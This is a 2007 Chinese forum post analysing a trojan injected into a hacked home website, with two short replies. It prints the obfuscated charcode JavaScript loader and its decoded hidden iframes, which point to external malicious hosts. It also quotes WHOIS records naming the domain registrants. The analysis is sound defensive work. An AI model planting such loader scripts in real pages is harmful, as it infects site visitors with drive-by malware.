社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6004阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, FDbb/6ku  
X#EMmB!  
http://www.areway.cn/?p=175 n!2"pRIi  
AME3hA  
)^qM%k8  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: yAy~|1}  
          xdFm-_\-  
<script>t=’60,105,102,114,97,109,101, -y5^xR  
32,115,114,99,61,104,116,116,112,58,47,47, Ur6UE2   
102,114,101,101,46,117,45,117,117,117,46,99, Qj.]I0d  
110,47,101,114,114,111,114,46,104,116,109, MRR5j;4GK  
32,119,105,100,116,104,61,49,48,48,32,104, !g  #  
101,105,103,104,116,61,48,62,60,47,105,102, jV2L;APCq  
114,97,109,101,62′; 6}6;%{p"Gu  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> $A;jl`ng  
                                                                                                  UOJx-o!c?  
<script>t=’60,105,102,114,97,109,101,32,115, 3k.{gAZKh  
114,99,61,104,116,116,112,58,47,47,102,114, n sKl3}uU  
101,101,46,117,45,117,117,117,46,99,110,47, qjFz}6  
101,114,114,111,114,46,104,116,109,32,119, 8UJK]_99I,  
105,100,116,104,61,49,48,48,32,104,101,105, q_bE?j{  
103,104,116,61,48,62,60,47,105,102,114,97, I<`K;El'  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); P^&%T?Y6z  
document.write(t);</script> )h]~< fU  
                                                                                                  9t:F![rg  
<html xmlns=” # ` Q3Z}C  
http://www.w3.org/1999/xhtml ;IZ*o<_  
“> VgD z:j  
<head> Y,w'Op  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> ##+|zka!U  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> ELfcZfJ  
<title>首页 - 爱生活家庭网 8n+&tBq1  
                                                                                                                                                    L.ScC  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ]VtVw^ir  
转换字符串后的大概内容是(谁点击后果自付): mk(O..)2  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Y~gDS^8  
                                                                                                                                  d[E~}Dq3#  
查询玉米u-uuu.cn的详细信息: }Qyuy~-&^  
Domain Name: u-uuu.cn $M{MOehZ  
ROID: 20070901s10001s64972306-cn +;^Ux W  
Domain Status: ok ` Fnl<C<  
Registrant Organization: 王雷 t2skg  
Registrant Name: 王雷 !~Gx@Ro  
Administrative Email: czlovexs@126.com I@Pp[AyG  
Sponsoring Registrar: 北京万网志成科技有限公司 -sO[,  
Name Server:ns.yovole.com K&Ner(/X`6  
Name Server:ns1.yovole.com Rah"La  
Registration Date: 2007-09-01 17:54 @ x_.  
Expiration Date: 2008-09-01 17:54 3#N'nhUzA  
最后PING了一下地址 都没有什么…. '#RzX8|v<  
                                                                                                K2$ fKju  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. kW#,o9f\  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> XtY!fo *  
<script language=”javascript” src=” 3 <}\{jT  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script +Ysm6n '  
> 5pSo`)  
这个玉米应该有可能是木马作者的: W!vN (1:(  
foafau.info的详细信息: wNo2$>*  
Access to INFO WHOIS information is provided to assist persons in ,)/gy)~#  
determining the contents of a domain name registration record in the (3cJ8o>&  
Afilias registry database. The data in this record is provided by z"#iG&>a,  
Afilias Limited for informational purposes only, and Afilias does not JjA3G`m=  
guarantee its accuracy.  This service is intended only for query-based Geyy!sr``  
access. You agree that you will use this data only for lawful purposes g_X-.3=2K  
and that, under no circumstances will you use this data to: (a) allow, \|e>(h!l;  
enable, or otherwise support the transmission by e-mail, telephone, or `_%U K=m  
facsimile of mass unsolicited, commercial advertising or solicitations _gU:!:}  
to entities other than the data recipient’s own existing customers; or t/55tL  
(b) enable high volume, automated, electronic processes that send !%MI9Ok  
queries or data to the systems of Registry Operator, a Registrar, or = og>& K  
Afilias except as reasonably necessary to register domain names or 8T6LD  
modify existing registrations. All rights reserved. Afilias reserves ^*s DJ #  
the right to modify these terms at any time. By submitting this query, g)0>J  
you agree to abide by this policy. ~o{GQ>  
Domain ID:D22418703-LRMS w-iu/|}  
Domain Name:FOAFAU.INFO < z':_,  
Created On:20-Nov-2007 16:05:42 UTC V"Cx5#\7C  
Last Updated On:20-Nov-2007 16:05:44 UTC kY>jp@w V  
Expiration Date:20-Nov-2008 16:05:42 UTC mzw`{Oy>L  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) w>#{Nl7gz  
Status:CLIENT DELETE PROHIBITED ]oT8H?%*Y  
Status:CLIENT RENEW PROHIBITED ;f;A"  
Status:CLIENT TRANSFER PROHIBITED F1_s%&  
Status:CLIENT UPDATE PROHIBITED m=Mb'<  
Status:TRANSFER PROHIBITED (V&5EO8)  
Registrant ID:GODA-040110615 a8 X}r.  
Registrant Name:liu hong e"}JHXs  
Registrant Organization: 44Dytpvg  
Registrant Street1:beijing AWaptw_p*  
Registrant Street2: CFE  ubEb  
Registrant Street3: r<'ni  
Registrant City:beijing -M]B;[^  
Registrant State/Province: MB7UI8  
Registrant Postal Code:100000 ~6{iQZa1Y  
Registrant Country:CN 6HroKu  
Registrant Phone:+86.860108888777 9S 'u 1%  
Registrant Phone Ext.: -e_91W I  
Registrant FAX: *Bfo"["0.  
Registrant FAX Ext.: cp1-eR_&  
Registrant Email:bbbshiji@163.com /80H.|8O  
Admin ID:GODA-240110615 5(wmy-x\  
Admin Name:liu hong r ^=rs!f@  
Admin Organization: EPEWyGw  
Admin Street1:beijing @jL](Mq|]  
Admin Street2: l7h6R$7; 0  
Admin Street3: B":9C'tip  
Admin City:beijing 26M:D&|ZB  
Admin State/Province: sNa Lz  
Admin Postal Code:100000 ATQw=w 3W  
Admin Country:CN Borr  
Admin Phone:+86.860108888777 iGq%|o>  
Admin Phone Ext.: FOPfo b[  
Admin FAX: IRhi1{K$"  
Admin FAX Ext.: * 'eE[/K  
Admin Email:bbbshiji@163.com Clz. p  
Billing ID:GODA-340110615 6ZO6 O=KD  
Billing Name:liu hong #ovausK[7  
Billing Organization: 6a*?m{  
Billing Street1:beijing J\@|c.ws  
Billing Street2: 'FNnFm  
Billing Street3: Cn"_x  
Billing City:beijing 1Kjqs)p^  
Billing State/Province: YD3jP}Ym  
Billing Postal Code:100000 yj$$k~@  
Billing Country:CN GB%kxtGD;\  
Billing Phone:+86.860108888777 O2pntKI  
Billing Phone Ext.: - -fRhN>  
Billing FAX: 1d$qr`  
Billing FAX Ext.: ?"F9~vx&G  
Billing Email:bbbshiji@163.com ol0i^d*9F  
Tech ID:GODA-140110615 ~<N9ckK  
Tech Name:liu hong =K)[3mX X  
Tech Organization: _:N=  
Tech Street1:beijing eOoqH$ i  
Tech Street2: tJG+k)EE  
Tech Street3: g6 H}a  
Tech City:beijing bO i-QD  
Tech State/Province: 6i+<0b}!/  
Tech Postal Code:100000 a}e GB +  
Tech Country:CN F50l->F2&  
Tech Phone:+86.860108888777 `uKsFX M  
Tech Phone Ext.: vjL +fH<0:  
Tech FAX: t[e]AU[}  
Tech FAX Ext.: $u~*V  
Tech Email:bbbshiji@163.com XF&_**0n  
Name Server:NS27.DOMAINCONTROL.COM `@q\R-`  
Name Server:NS28.DOMAINCONTROL.COM E2xK GK   
Name Server: PglSQ2P  
Name Server: hW!2C6  
Name Server: z''ejq  
Name Server: 85x34nT  
Name Server: /78zs-  
Name Server: /[=Yv!  
Name Server: .@Lktc  
Name Server: uTdx`>M,O  
Name Server: yhkKakg,)  
Name Server: o;9 G{Xj3@  
Name Server: o)bKs>` U  
                                                                                                          SK5_^4  
接着下载每个文件里面的代码: 1> v(&;K  
一步一步看.. <{+U- ^rzR  
w%?Zb[!&  
5tI#UBha  
zv7)JH7EV&  
2 \<u;9  
BM~6P|&qD  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八